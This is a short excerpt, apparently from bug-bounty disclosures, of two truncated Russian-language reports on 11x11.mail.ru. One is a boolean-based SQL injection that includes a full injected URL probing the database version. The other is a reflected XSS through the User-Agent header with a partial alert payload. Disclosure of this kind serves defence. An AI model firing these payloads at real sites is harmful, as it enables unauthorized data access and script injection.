Mail.ru: SQL Injection on 11x11.mail.ru

Приветствую! SQL Inject boolean-based True http://11x11.mail.ru/xml/games/champ.php?act=groups&division=6&tournament=66+and+1=ifsubstr@@version,1,5=0x352e302e37,1,2%23 Сезон 22, Дивизион 3-C False...

Mail.ru: Reflected XSS in User-Agent

Уязвимость существует на сайтах: 11x11.mail.ru s2.11x11.mail.ru Злоумышленник может внедрить произвольный User-Agent, содержащий JS код. Для примера - alert/BigBear/!--...